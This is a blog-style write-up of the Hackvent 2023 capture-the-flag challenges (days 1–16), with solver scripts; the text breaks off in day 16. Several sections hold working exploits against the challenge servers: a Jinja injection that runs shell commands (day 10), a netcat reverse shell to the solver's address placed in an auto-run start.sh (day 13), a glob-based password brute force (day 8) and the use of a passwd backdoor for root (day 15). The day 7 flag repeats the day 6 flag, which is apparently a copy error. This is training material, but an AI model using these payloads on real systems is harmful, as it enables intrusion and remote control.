Hackvent 2023 - Writeup
This is my writeup for Hacking Lab's Hackvent 2023. Hackvent is a yearly CTF held by a swiss cybersecurity company from 1st December until 24th December. The challenges are not necessarily focused on security but on fun.For more information, visit hacking-lab.com or git.romanh.de.
You can also download this writeup as pdf:
Download
Last modified: 05/16/2024 17:09 PM
-
HV23.01: A letter from Santa
-
HV23.02: Who am I?
-
HV23.03: Santa's grille
-
HV23.04: Bowser
-
HV23.05: Aurora
-
HV23.06: Santa should use a password manager
-
HV23.07: The golden book of Santa
-
HV23.08: SantaLabs bask
-
HV23.09: Passage encryption
-
HV23.10: diy-jinja
-
HV23.11: Santa's Pie
-
HV23.12: unsanta
-
HV23.13: Santa's Router
-
HV23.14: Crypto Dump
-
HV23.15: pREVesc
-
HV23.16: Santa's Gift Factory
-
HV23.17: Lost Key
-
HV23.18: Evil USB
-
HV23.19: Santa's Minecraft Server
-
HV23.20: Santa's Candy Cane Machine
-
HV23.21: Shopping List
-
HV23.22: Secure Gift Wrapping Service
-
HV23.23: Roll your own RSA
-
HV23.24: Santa's Shuffled Surprise
-
HV23.H1: Kringel's Secret
-
HV23.H2: Grinch's Secret
-
HV23.H3: Santa's Secret
HV23.01: A letter from Santa
Finally, after 11 months of resting, Santa can finally send out his presents and challenges again.
He was writing a letter to his youngest baby elf, who's just learning his ABC/A-Z's. Can you help the elf read the message?
We are provided with a website, where you can select a letter from A-Z and a text.
Submitting the form will result in a single line of text, where some of our input text is blacked out.
Additionally, we are provided with the source code of the web application, revealing the used templates in
.j2
format.
![[day01_website]](/img/writeup/hackvent/2023/day01_website.jpg)
![[day01_letter_a]](/img/writeup/hackvent/2023/day01_letter_a.jpg)
![[day01_letter_b]](/img/writeup/hackvent/2023/day01_letter_b.jpg)
![[day01_letter_c]](/img/writeup/hackvent/2023/day01_letter_c.jpg)
![[day01_letter_d]](/img/writeup/hackvent/2023/day01_letter_d.jpg)
![[day01_letter_e]](/img/writeup/hackvent/2023/day01_letter_e.jpg)
![[day01_letter_f]](/img/writeup/hackvent/2023/day01_letter_f.jpg)
Submitting the form for every letter A-Z and transforming the blacked out text to pixels, we will get a row-wise QR-code.
This is automated by parsing the provided template file and rendered into a QR-code using the following script:
(...)
qr_size = 25
pix_size = 10
img_size = pix_size * qr_size
with open("templates/santa.j2", "r") as f:
soup = BeautifulSoup(f.read(), "html.parser")
img = Image.new("RGB", (img_size, img_size), "white")
y = 0
for c in string.ascii_lowercase:
bin_str = ""
x = 0
for e in soup.find_all("span"):
if e.text.strip() == "{{" + c + "}}":
if "a" in e["class"]:
color = (0, 0, 0)
else:
color = (255, 255, 255)
for xi in range(x, x+pix_size):
for yi in range(y, y+pix_size):
img.putpixel((xi, yi), color)
x += pix_size
y += pix_size
print("[+] Flag:", decode(img)[0].data.decode())
- Flag:
HV23{qr_c0des_fun}
Python script
HV23.02: Who am I?
Have you ever wished for an efficient dating profile for geeks? Here's a great example:
G d--? s+: a+++ C+++$ UL++++$ P--->$ L++++$ !E--- W+++$ N* !o K--? w O+ M-- V PS PE Y PGP++++ t+ 5 X R tv-- b DI- D++ G+++ e+++ h r+++ y+++
We are provided with something called Geek Code. At first, I thought we have to guess what famous person it is according to
the described interests. It was much simpler because the part
PGP++++
already revealed it is about Philip Zimmerman.
- Flag:
HV23{PhilipZimmerman}
HV23.03: Santa's grille
While contemplating the grille and turning some burgers, Santa decided to send all the hackers worldwide some season's greetings.
![[day03_challenge]](/img/writeup/hackvent/2023/day03_challenge.jpg)
We are provided with a 5x5 Grille cipher resulting in 24 choosable characters. Since there are 4 possible rotations, we can assume
the key and the block length is
(5² - 1) / 4 = 6
. And lucky as we are, we also know 6 characters of the
decrypted plaintext, the first 5 are HV23{
and the last character is }
.
Since the last character is also in the last block, we have to rotate it 3 times in the opposite direction to retrieve the "key".
It's important to mention, that for the digits '2' and '3' there are two possible options since we are reading the output from top left to bottom right.

90°

90°

90°

The cipher can be decrypted using the following code:
data = [
["8","c","t","k","3"],
["2","r","H","V","r"],
["2","y",None,"0","v"],
["2","e","n","3","_"],
["}","3","h","{","m"],
]
def find_char(c, min=(0, 0)):
for x, row in enumerate(data):
for y, v in enumerate(row):
if v == c and (x, y) >= min:
return (x, y)
def find_key(cirb="HV23{"):
min = (0, 0)
key = []
for c in cirb:
key.append(find_char(c, min))
min = key[-1]
key[3] = (4, 1) # or (3, 3)
key.append(rotate(find_char('}'), 3)) # for final '}'
return key
def rotate(key, rotation):
rotation = rotation % 4
if rotation == 0:
return key
n = len(data) - 1
rotated = []
if isinstance(key, list):
for (x, y) in key:
rotated.append((y, n - x))
else:
rotated = (key[1], n - key[0])
if rotation > 1:
return rotate(rotated, rotation - 1)
return rotated
def get_text(key, rotation=0):
text = ""
key = list(sorted(rotate(key, rotation)))
for (x, y) in key:
text += data[x][y]
return text
key = find_key()
flag = ""
for i in range(0, 4):
flag += get_text(key, -i)
print("[+] Flag:", flag)
- Flag:
HV23{m3rry_h8ckvent2023}
Python script
HV23.04: Bowser
Santa has heard that some kids appreciate a video game as a christmas gift.
He would rather have the kids solve some CTF challenges, so he took some inspiration and turned it into a challenge.
Can you save the princess?
We are provided with a simple 64-bit ELF binary. Opening the file in IDA and generating pseudocode, it looks like this:
*(_QWORD *)flag = 0x86DFD3868D8D90ACLL;
*(_QWORD *)&flag[8] = 0x989E9399DF8D8A90LL;
*(_QWORD *)&flag[16] = 0x9EDF9196DF8C96DFLL;
*(_QWORD *)&flag[24] = 0x9CDF8D9A978B9091LL;
*(_QWORD *)&flag[32] = 0xB7FFD19A938B8C9ELL;
*(_QWORD *)&flag[40] = 0xA08A90A684CCCDA9LL;
*(_QWORD *)&flag[48] = 0x899EACA09A899EB7LL;
*(_QWORD *)&flag[56] = 0xAFA09A978BA09B9ALL;
*(_QWORD *)&flag[64] = 0x828C8C9A9C91968DLL;
flag[72] = 0;
bowser();
if ( argc == 2 )
{
if ( !strcmp(argv[1], "mario") )
{
for ( c = flag; *c; ++c )
*c = ~*c;
puts((const char *)flag);
return 0;
}
else
{
puts("Sorry, that is not the correct password.");
return 1;
}
}
else
{
printf("Usage: %s password\n", *argv);
return 1;
}
Running the binary with the password
mario
as argument won't print the flag though, since it contains a null character.
But we can easily decode it with python.
if __name__ == "__main__":
with open("bowser.elf", "rb") as f:
elf = f.read()
context.arch = "amd64"
offset = 0x1332
flag = b""
for instr in disasm(elf[offset:], byte=False, offset=False).split("\n"):
match = re.match(r"movabs\s+(rax|rdx),\s+0x([0-9a-f]+)", instr)
if match:
flag += util.xor(bytearray.fromhex(match[2])[::-1], 0xFF)
else:
match = re.match(r"mov\s+WORD PTR \[.*\],\s+0x([0-9a-f]+)", instr)
if match:
flag += util.xor(bytearray.fromhex(match[1])[::-1], 0xFF)
elif re.match(r"call\s+.*", instr):
break
flag = flag.split(b"\x00")[1].decode()
print("[+] Flag:", flag)
- Flag:
HV23{You_Have_Saved_the_Princess}
Python script
HV23.05: Aurora
The Northern Lights appeared at exceptionally low latitudes this year due to the high level of solar activity.
But from Santa's grotto at the North Pole, it's not unusual at all to see them stretching across the sky.
Snowball the elf tried to capture a video of the aurora for his Instagram feed,
but his phone doesn't work well in poor light, and the results were rather grainy and disappointing.
Is there anything you can do to obtain a clearer image?
The video looks all noise, and we can barely see some patterns. If we look closely we can see that there is some kind of background.
The idea here is to extract all frames of the video as separate images.
mkdir -p frames
ffmpeg -i aurora.mp4 frames/out-%03d.png
To remove the random noise applied we simply calculate the average of each pixel between the frames. I used python as all my solutions are written in python:
def extract_frames(destination):
os.makedirs(destination, exist_ok=True)
subprocess.run(["ffmpeg", "-i", "aurora.mp4", "frames/out-%03d.png"])
print()
def parse_frame(file):
img = Image.open(file)
pix = img.load()
return img.size, pix
if __name__ == "__main__":
output_directory = "frames"
pixel_sum = None
count = 0
extract_frames(output_directory)
for file in sorted(os.listdir(output_directory)):
if file.endswith(".png"):
sys.stdout.write(f"\rAnalyzing: {file}")
(width, height), pix = parse_frame(os.path.join(output_directory, file))
if pixel_sum is None:
pixel_sum = [[(0,0,0) for y in range(height)] for x in range(width)]
for x in range(width):
for y in range(height):
pixel_sum[x][y] = tuple(map(operator.add, pixel_sum[x][y], pix[x,y]))
count += 1
print("\nComposing new image")
img = Image.new("RGB", (width, height))
pix = img.load()
for x in range(width):
for y in range(height):
pix[x,y] = tuple(map(operator.floordiv, pixel_sum[x][y], [count] * 3))
img.save(f"result.png")
shutil.rmtree(output_directory)
The same can be done using imagick's convert:
convert -average frames/*.png output.png
The resulting image looks like this:

- Flag:
HV23{M4gn3t0sph3r1c_d1sturb4nc3}
Python script
HV23.06: Santa should use a password manager
Santa is getting old and has troubles remembering his password.
He said password Managers are too complicated for him and he found a better way.
So he screenshotted his password and decided to store it somewhere handy,
where he can always find it and where its easy to access.
We are given a huge memory dump (2 GiB) which was likely produced on a Windows system.
Analyzing it with
vol3
to retrieve basic info:
$ vol -f memory.raw windows.info
Volatility 3 Framework 2.4.1
Progress: 100.00 PDB scanning finished
Variable Value
Kernel Base 0xf8060c4b4000
DTB 0x1ad000
Symbols file:///usr/lib/python3.11/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/35A038B1F6E2E8CAF642111E6EC66F57-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdVersionBlock 0xf8060c8d93c8
Major/Minor 15.18362
MachineType 34404
KeNumberProcessors 1
SystemTime 2023-11-18 13:35:07
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Sun Aug 27 03:21:15 2090
Progress: 100.00 PDB scanning finished
Variable Value
Kernel Base 0xf8060c4b4000
DTB 0x1ad000
Symbols file:///usr/lib/python3.11/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/35A038B1F6E2E8CAF642111E6EC66F57-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdVersionBlock 0xf8060c8d93c8
Major/Minor 15.18362
MachineType 34404
KeNumberProcessors 1
SystemTime 2023-11-18 13:35:07
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Sun Aug 27 03:21:15 2090
Now since we know, that Santa "screenshotted" his password, we are looking for an image file, probably PNG or JPG.
Therefore, we make use of the
windows.filescan
plugin:
$ vol -f memory.raw windows.filescan | grep -i "png\|jpg\|jpeg"
(...)
0x918b760e8750 \Users\santa\Pictures\wallpaper.png 216
0x918b760ed250 \Users\santa\Pictures\wallpaper.png 216
0x918b76c517f0 \Users\santa\Pictures\wallpaper.png 216
0x918b771069c0 \Users\santa\Pictures\wallpaper.png 216
0x918b76c64a30 \Users\santa\Pictures\cool-santa-claus.jpg 216
0x918b7711c7c0 \Users\santa\Pictures\cool-santa-claus.jpg 216
(...)
0x918b760e8750 \Users\santa\Pictures\wallpaper.png 216
0x918b760ed250 \Users\santa\Pictures\wallpaper.png 216
0x918b76c517f0 \Users\santa\Pictures\wallpaper.png 216
0x918b771069c0 \Users\santa\Pictures\wallpaper.png 216
0x918b76c64a30 \Users\santa\Pictures\cool-santa-claus.jpg 216
0x918b7711c7c0 \Users\santa\Pictures\cool-santa-claus.jpg 216
(...)
The challenge says, that Santa stores the password "somewhere handy" so we can assume it's his wallpaper.
It's also worth to look at the "cool Santa Claus" because he is just lit af .
We can extract the file using the
windows.dumpfiles
plugin and the given virtual address.
We might have to try a few addresses to find the file.
$ vol -f memory.raw windows.dumpfiles --virtaddr 0x918b76c517f0
Volatility 3 Framework 2.4.1
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
DataSectionObject 0x918b76c517f0 wallpaper.png file.0x918b76c517f0.0x918b70a67190.DataSectionObject.wallpaper.png.dat
SharedCacheMap 0x918b76c517f0 wallpaper.png file.0x918b76c517f0.0x918b76b2ada0.SharedCacheMap.wallpaper.png.vacb
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
DataSectionObject 0x918b76c517f0 wallpaper.png file.0x918b76c517f0.0x918b70a67190.DataSectionObject.wallpaper.png.dat
SharedCacheMap 0x918b76c517f0 wallpaper.png file.0x918b76c517f0.0x918b76b2ada0.SharedCacheMap.wallpaper.png.vacb
Voilá! We can inspect the extracted file
file.0x918b76c517f0.0x918b70a67190.DataSectionObject.wallpaper.png.dat
:

- Flag:
HV23{W4LLP4p3r}
HV23.07: The golden book of Santa
An employee found out that someone is selling secret information from Santa's golden book.
For security reasons, the service for accessing the book was immediately stopped and there is now only a note about the maintenance work.
However, it still seems possible that someone is leaking secret data.
We are given a http server which only serves a static image. Fuzzing for hidden files or folders did not result in anything at all.
But looking closely at the only response we had we find something odd:
GET / HTTP/1.1
Host: 152.96.15.5
HTTP/1.1 200 OK
Content-Type: image/png
Transfer-Encoding: chunked
948
PNG(...)
First of all, the server gives a
Transfer-Encoding: chunked
header.
According to the standard a Content-Length
header can be omitted, instead
each chunk is prefixed with the length as a hexadecimal number. The response will have the following structure:
7\r\n
Mozilla\r\n
11\r\n
Developer Network\r\n
0\r\n
\r\n
Our PNG surely has more than 0x948 = 2376 bytes. So what's the size of the next chunk?
956
Áκ\A`Þ4´¸Ì2(...)
Another small chunk, prefixed with
9
. And the last two digits seem to be ASCII!
Let's parse that file using python and grab the flag.
def get_image_bytes():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, 80))
sock.sendall(b"\n")
data = b""
while True:
b = sock.recv(1024)
if not b:
break
data += b
body_offset = data.index(b"\n\n") # malformed here
header, body = data[:body_offset], data[body_offset+2:]
return header, body
if __name__ == "__main__":
header, body = get_image_bytes()
flag = ""
while body:
offset_index = body.index(b"\r\n")
chunk_size = int(body[0:offset_index], 16)
offset = offset_index + 2
chunk = body[offset:offset+chunk_size]
body = body[offset+chunk_size+2:]
if chunk_size > 0x900:
flag += chr(chunk_size & 0xFF)
print("[+] Flag:", flag)
- Flag:
HV23{W4LLP4p3r}
Python script
HV23.08: SantaLabs bask
Ditch flask and complicated python.
With SantaLabs bask, you can write interactive websites using good,
old bash and even template your files by using dynamic scripting!
We are given a http-webapp written in bash which is really uncommon and interesting.
It comes with a list of routes, cookie handling and authorization checks. The following routes
are available:
- GET /files/styles.css
- GET /
- GET /login
- POST /login
- GET /admin
The flag is reflected, when accessing the
/admin
route with the
admin password provided as cookie. The /login
route checks the
admin password and if it's correct, the cookie is set via a javascript assignment.
We notice that the password comparison works differently in the templates/post_login.sh
source:
if [[ $ADMIN_PASSWORD == $POST_PASSWORD ]]; then
(...)
The missing quotes indicate a vulnerability, we can guess the password char-by-char using the asterisk special char.
However, the server does not URL decode POST-params correctly, so we have to skip a few special chars when bruteforcing.
This is done with python again:
if __name__ == "__main__":
password = ""
flag = retrieve_flag(password)
while flag is None:
found = False
for x in string.printable:
if x in ["*", "\\"]:
continue
if login(password + x + "*"):
password += x
found = True
flag = retrieve_flag(password)
break
if not found:
break
print("[+] Flag:", flag)
This gives us the admin password
salami
and we can finally retrieve the flag.
- Flag:
HV23{gl0bb1ng_1n_b45h_1s_fun}
Python script
HV23.09: Passage encryption
Santa looked at the network logs of his machine and noticed that one of the elves browsed a weird website.
He managed to get the pcap of it, and it seems as though there is some sensitive information in there?!
The challenge includes a pcap-file containing a few http requests and responses. Noticeably there are a series of http requests accessing all
But sadly it's not that easy. Decoding it using pyCryptoDome's
/?door=
with an index from 0 to 9. Combining all these gives us a large integer:
2239869409783327317220697624099369
. But sadly it's not that easy. Decoding it using pyCryptoDome's
long_to_bytes
will just print b'no flag here:)'
.
Looking at the packet capture again we notice strange TCP source ports all in range 56700-56899.
Seems like an ASCII-letter is hidden in there. We can extract it using python:
if __name__ == "__main__":
chars = []
pcap_extractor = PcapExtractor("secret_capture.pcapng")
for response in pcap_extractor:
match = re.match(r"/\?door=(\d)", response.get_file_path())
if match and isinstance(response, HttpResponse):
request = response.response_to
ip, port = request.socket.split(":")
port = int(port)
c = chr(port - 56700)
dt = datetime.datetime.strptime(response.headers["Date"], "%a, %d %b %Y %H:%M:%S %Z").timestamp()
chars.append((dt, c))
flag = "".join(entry[1] for entry in sorted(chars))
print("[+] Flag:", flag)
- Flag:
HV23{Lo0k1ng_for_port5_no7_do0r$}
Python script
HV23.10: diy-jinja
We've heard you like to create your own forms.
With SANTA (Secure and New Template Automation), you can upload your own jinja templates and
have the convenience of HTML input fields to have your friends fill them out!
Obviously 100% secure and even with anti-tampering protection!
We are given once again a webapp, this time written in python. The webapp serves the following rotes:
- GET /
- POST /upload
- POST /form/<template_id>
Using the upload route, we can upload new jinja templates for which an uuid is generated.
However, the server validates all template variables... or trys to at least:
jinja_objects = re.findall(r"{{(.*?)}}", open(tmp_path).read())
for obj in jinja_objects:
if not re.match(r"^[a-z ]+$", obj):
# An oopsie whoopsie happened
return Response(
f"Upload failed for {tmp_path}. Injection detected.", status=400
)
First of all, the server does not check for
{% %}
tags, so a blind injection is possible.
Secondly, the fields
parameter is not validated at all, another entry point for possible injections.
But I decided for another vulnerability relating to regex - because I love regex. Because of the missing re.MULTILINE
flag, the search does not handle new-lines properly allowing a simple regex bypass as shown in the following script:
def upload_template(file_name, file_data, fields_data=None):
fields_data = util.nvl(fields_data, {})
files = {
"template": (file_name, file_data),
"fields": (None, json.dumps(fields_data))
}
res = request("POST", "/upload", files=files)
util.assert_status_code(res, 302)
util.assert_header_present(res, "Location")
return res.headers["Location"]
if __name__ == "__main__":
injection = "{{ \n[].__class__.__base__.__subclasses__()[452]('cat /app/flag.txt',shell=True,stdout=-1).communicate() }}"
template_url = upload_template("blindhero.jinja", f"<pre>{injection}</pre>")
res = request("POST", template_url)
util.assert_status_code(res, 200)
util.assert_content_type(res, "text/html")
soup = BeautifulSoup(res.text, "html.parser")
print("[+] Flag:", eval(soup.text)[0].decode().strip())
- Flag:
HV23{us3r_suppl13d_j1nj4_1s_4lw4ys_4_g00d_1d34}
Python script
HV23.11: Santa's Pie
Santa baked you a pie with hidden ingredients!

The provided image is quite small and looks awkward: the green channel is very dominant. Let's have a look at the first few pixels:
$ python3
>>> from PIL import Image
>>> img = Image.open('challenge.png')
>>> pix = img.load()
>>> for y in range(5):
... print(pix[0,y])
...
(3, 236, 77, 255)
(1, 237, 100, 255)
(4, 237, 114, 255)
(1, 237, 100, 255)
(5, 238, 119, 255)
>>> img = Image.open('challenge.png')
>>> pix = img.load()
>>> for y in range(5):
... print(pix[0,y])
...
(3, 236, 77, 255)
(1, 237, 100, 255)
(4, 237, 114, 255)
(1, 237, 100, 255)
(5, 238, 119, 255)
The red channel seems to be PI. The green channel is not very useful, many similar high values. The blue channel however looks promising and also in ASCII range.
The solution is straightforward, we xor the red and the blue channel and the flag is revealed somewhere in the middle of the output.
if __name__ == "__main__":
img = Image.open("challenge.png")
pix = img.load()
width, height = img.size
out = ""
for x in range(width):
for y in range(height):
out += chr(pix[x,y][0] ^ pix[x,y][2])
flag = re.search(r"HV23\{[^\}]*\}", out)[0]
print("[+] Flag:", flag)
- Flag:
HV23{pi_1s_n0t_r4nd0m}
Python script
HV23.12: unsanta
To train his skills in cybersecurity, Grinch has played this year's SHC qualifiers.
He was inspired by the cryptography challenge
unm0unt41n
(can be found here) and thought he might play a funny prank on Santa.
Grinch is a script kiddie and stole the malware idea and almost the whole code. Instead of using the original encryption malware from the challenge though,
he improved it a bit so that no one can recover his secret! Luckily, Santa had a backup of one of the images.
Maybe this can help you find the secret and recover all of Santa's lost data...?
This crypto challenge provides us a python script, an image in the "backup" folder and three encrypted images in the "memes" folder.
According to the script the images were encrypted with a random xor key for every 4 bytes.
We can guess that the back-upped image is the original image for one of the encrypted images because of the same file name "a.jpg".
Thus, we can retrieve the used xor-keys:
files = {}
def read_file(path):
with open(path, "rb") as f:
data = f.read()
files[path] = data
for file in ["memes/a.jpg", "memes/b.jpeg", "memes/c.jpg", "backup/a.jpg"]:
read_file(file)
key = util.xor(files["backup/a.jpg"], files["memes/a.jpg"])
key = [int.from_bytes(key[i:i+4], "big") for i in range(0, len(key), 4)]
Python uses a
Mersenne Twister
for it's internal PRNG.
As we have at least 624 consecutive keys we can reconstruct all other generated outputs of
random.getrandbits(32)
and then decrypt the other images!
import randcrack
import math
rc = randcrack.RandCrack()
for i in range(0,624):
rc.submit(key[i])
rand_counter = 0
def getrandbits(n):
global rand_counter
rand_counter += 1
if rand_counter <= 624:
return key[rand_counter-1]
return rc.predict_getrandbits(n)
for path in ["memes/a.jpg", "memes/b.jpeg", "memes/c.jpg"]:
ct = files[path]
key_stream = b""
for _ in range(int(math.ceil(len(ct) / 4))):
key_stream += getrandbits(32).to_bytes(4, "big")
pt = util.xor(key_stream, ct)
with open(path + ".dec", "wb+") as fp:
fp.write(pt)

Oh no! Looking at the challenge source again, we see the flag is hidden in the seed itself rather than in the encrypted images:
random.seed(bytes_to_long(flag))
. To recover the seed we make use of a script I found here.
breaker = BreakerPy()
seed_arr = breaker.get_seeds_python_fast(key)
seed = breaker.array_to_int(seed_arr)
print("[+] Recovered Seed:", seed)
print("[+] Flag:", long_to_bytes(seed).decode())
- Flag:
HV23{s33d_r3c0very_1s_34sy}
Python script
HV23.13: Santa's Router
Santa came across a weird service that provides something with signatures of a firmware.
He isn't really comfortable with all that crypto stuff, can you help him with this?
The challenge provides a remote interface with two options: retrieve the signature of a firmware.zip and upload
a zip file with a given signature. The signature is generated as following:
def hashFile(fileContent:bytes) -> int:
hash = 0
for i in range(0, len(fileContent), 8):
hash ^= sum([fileContent[i+j] << 8*j for j in range(8) if i+j < len(fileContent)])
return hash
def fileSignature(fileContent:bytes):
hash = hashFile(fileContent)
signature = pkcs1_15.new(KEY).sign(SHA1.new(hex(hash).encode()))
return base64.b64encode(signature)
The signature is a PKCS#1 v1.5 of a SHA1 hash on top of a custom calculated hash. This internal hash is simply a xor
over all 8-byte little-endian values. We can exploit this fact by concatenating multiple zips together to keep the
original hash:
# new_zip ^ orig_firmware ^ new_zip == orig_firmware
initial_zip_data = zip_data.getvalue()
zip_data = initial_zip_data
zip_data = util.pad(zip_data, 8)
zip_data += orig_firmware
zip_data = util.pad(zip_data, 8)
zip_data += initial_zip_data
zip_hash = hash_data(zip_data)
print("[+] Update hash:", zip_hash)
assert zip_hash == orig_hash
We could successfully restore the original hash for any custom zip. It is important to mention that python
will only unpack the last zip in the payload. To get a reverse shell, we simply put a netcat payload inside the
start.sh, which is automatically executed:
ip_address = util.get_address()
shell_port = 1234
shell_cmd = rev_shell.generate_payload("nc", ip_address, shell_port, method="fifo", shell="/bin/sh")
zip_data = BytesIO()
with zipfile.ZipFile(zip_data, "w") as zip_file:
zip_file.writestr("start.sh", shell_cmd)
(...)
signature = get_version()
print("[+] Signature:", signature)
shell = rev_shell.trigger_background_shell(lambda: update(zip_data, signature), shell_port)
flag = shell.exec_sync("cat /app/flag && echo")
shell.close()
send_exit()
io.close()
print("[+] Flag:", flag.decode())
- Flag:
HV23{wait_x0r_is_not_a_secure_hash_function}
Python script
HV23.14: Crypto Dump
To keep today's flag save, Santa encrypted it, but now the elf cannot figure out how to decrypt it.
The tool just crashes all the time. Can you still recover the flag?
The challenge includes a binary and a coredump. Reversing the binary we can identify two possible actions: encrypt and decrypt.
char key_buf [32];
FILE *fd;
fd = fopen64("./key","r");
fseek(fd,0,2);
file_size = ftell(fd);
if (file_size == 0x20) {
rewind(fd);
fread_unlocked(key_buf,1,0x20,fd);
fclose(fd);
fd = fopen64(argv[1],"r");
fseek(fd,0,2);
__n = ftell(fd);
rewind(fd);
file_contents = malloc(__n);
(...)
if (*argv[2] == 'd') {
(...)
} else {
if (*argv[2] != 'e') {
exit_code = 0xfffffffe;
goto LAB_00401205;
}
(...)
}
}
We can also see, that the key being used is exactly 32 bytes big and is read into the stack.
The first parameter given to the program is a file path to the data being encrypted or decrypted.
However, as this size is dynamic, it will be instead read into the heap. From the decrypt branch
we can also see that an IV of 16 bytes is involved and is probably prepended to the file:
uVar5 = __n + 0x10;
auVar7 = malloc(uVar5,(ulong)key_buf);
__ptr_00 = auVar7._0_8_;
auVar7 = malloc(0x10,(ulong)key_buf);
__ptr_01 = auVar7._0_8_;
fd = fopen64("/dev/random","r");
fread_unlocked(__ptr_01,1,0x10,fd);
fclose(fd);
Inspecting the coredump, we can see where it crashed:
$ gdb ./flagsave ./coredump.zst
(...)
#0 0x000000000040113a in main ()
#0 0x000000000040113a in main ()
This is the line, where it checks for
*argv[2]
so I assume, the user forgot to
give the second parameter. The file given at the first parameter is however already loaded and stored in the heap.
Luckily the pointer to the malloced chunk lies in R13 register, which you can find out by poking around.
Gluing all pieces together we can recover the flag using the following python script:
file_path = "coredump.zst"
core = lief.parse(file_path)
for note in core.notes:
if note.type_core == lief.ELF.NOTE_TYPES_CORE.PRSTATUS:
details = note.details
rsp = details[lief.ELF.CorePrStatus.REGISTERS.X86_64_RSP]
rbp = details[lief.ELF.CorePrStatus.REGISTERS.X86_64_RBP]
r13 = details[lief.ELF.CorePrStatus.REGISTERS.X86_64_R13]
stack_frame = StackFrame(rbp, rsp)
print("[+] RSP at:", hex(rsp))
key = stack_frame.get_memory(0x10, 0x20)
print("[+] Got key:", key.hex())
heap_addr = r13
print("[+] Heap chunk at:", hex(heap_addr))
encrypted = read_memory(heap_addr, 0x30)
iv = encrypted[:16]
ct = encrypted[16:].rstrip(b"\x00")
print("[+] Got IV:", iv.hex())
print("[+] Got ct:", ct.hex())
ctr = Counter.new(128, initial_value=bytes_to_long(iv))
cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
flag = cipher.decrypt(ct).decode().strip()
print("[+] Flag:", flag)
- Flag:
HV23{17's_4ll_ri6h7_7h3r3}
Python script
HV23.15: pREVesc
We recently changed the root password for santa as he always broke our system.
However, I think he has hidden some backdoor in there. Please help us find it to save christmas!
We are granted access to a server via SSH. Our goal is to find a backdoor, since the server was compromised.
We check if any of the system file was modified using the following command:
$ dpkg --verify | grep -iv missing
??5?????? /usr/bin/passwd
Now that we found our modified file, we download it using scp and analyze it with IDA. Right at the beginning
of the main function, we notice that the shortopts-string was modified:
adeEhi:kln:qr:R:P:Suw:x:
.
The original string was adehi:kln:qr:R:P:Suw:x:
so we can assume that a new option -E
was added. Looking at the disassembly, we find the following branch:
loc_5791: ; jumptable 00000000000055B7 case 69
xor edi, edi
call _setuid
xor edi, edi ; gid
call _setgid
lea rdi, aSalami ; "SALAMI"
call _getenv
mov r9, rax
test rax, rax
jz loc_6986
The binary switches the uid/gid to root (0) and then retrieves the value of the environment variable "SALAMI". The next code fragment
is a bit more complicated so we turn on our debugger and set a breakpoint right at the
_strcmp
call.
We run the binary with parameter "-E" and environment variable "SALAMI=1" and inspect both rsi
and rdi
registers.
$ SALAMI=1 ./gdb
(...)
gef➤ b strcmp@plt
Breakpoint 1 at 0x4ec0
gef➤ run -E
(...)
$rsi : 0x00007fffffffda20 → "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
$rdi : 0x00007fffffffe390 → 0x45535f4744580031 ("1"?)
gef➤ b strcmp@plt
Breakpoint 1 at 0x4ec0
gef➤ run -E
(...)
$rsi : 0x00007fffffffda20 → "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
$rdi : 0x00007fffffffe390 → 0x45535f4744580031 ("1"?)
With this knowledge we can now spawn a root shell and retrieve the flag:
import paramiko
HOSTNAME = "04806b1a-dd1f-4eaf-b19d-b6df4db1cce5.rdocker.vuln.land"
USERNAME = "challenge"
PASSWORD = "challenge"
if __name__ == "__main__":
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(HOSTNAME, 22, USERNAME, PASSWORD)
stdin, stdout, stderr = ssh.exec_command("SALAMI=https://www.youtube.com/watch?v=dQw4w9WgXcQ /usr/bin/passwd -E")
stdin.write(b"cat /root/flag.txt\n")
stdin.flush()
stdin.close()
flag = stdout.read().split(b"\n")[0].decode()
print("[+] Flag:", flag)
ssh.close()
- Flag:
HV23{3v1l_p455wd}
Python script
HV23.16: Santa's Gift Factory
Did you know that Santa has its own factory for making gifts?
Maybe you can exploit it to get your own special gift!
We are provided a Dockerfile and a ELF binary. Loading it into ghidra we will find a very interesting function "tellflag" at the end of the program flow:
void tellflag(void) {
int fclose_ret;
size_t bytes_read;
undefined flag [6];
char format [136];
char *username;
int bytes_read_;
FILE *fd;
fd = fopen("flag","r");
if (fd == (FILE *)0x0) {
error("Opening flag file failed!!! Please contact the admins.");
}
bytes_read = fread(flag,1,5,fd);
bytes_read_ = (int)bytes_read;
flag[bytes_read_] = 0;
fclose_ret = fclose(fd);
if (fclose_ret < 0) {
error("Closing flag file failed!!! Please contact the admins.");
}
system("./magic.sh");
username = getstr("Santa: One last thing, can you tell me your name?");
printf("\nSanta: Let me see. Oh no, this is bad, the flag vanished before i could read it entirely .
All I can give you is this: %s. I am very sorry about this and would like to apologise for the i nconvenience.\n"
,flag);
gets("\nSanta: Can I assist you with anything else?",format);
printf("\nSanta: You want me to help you with ");
printf(format);
puts("?\nSanta: I will see what I can do...");
return;
}
First of all, the program reads 5-bytes of the flag file and puts it zero-terminated on the stack.
After that, it runs "./magic.sh", which basically overwrites the flag file (it was not intended to leave the file out).
Finally, the user can enter his username and a special wish, which is then printed via
printf
.
We notice, that for user input two different functions are used: gets
and getstr
.
Both function come without length check, getstr
returns a new pointer (it allocates a chunk big enough to hold the user input)
while gets
(custom implementation here) writes to the second parameter given and without a zero terminating char:
char * gets(char *prompt, char *out) {
size_t n;
char *lineptr;
__ssize_t line_length;
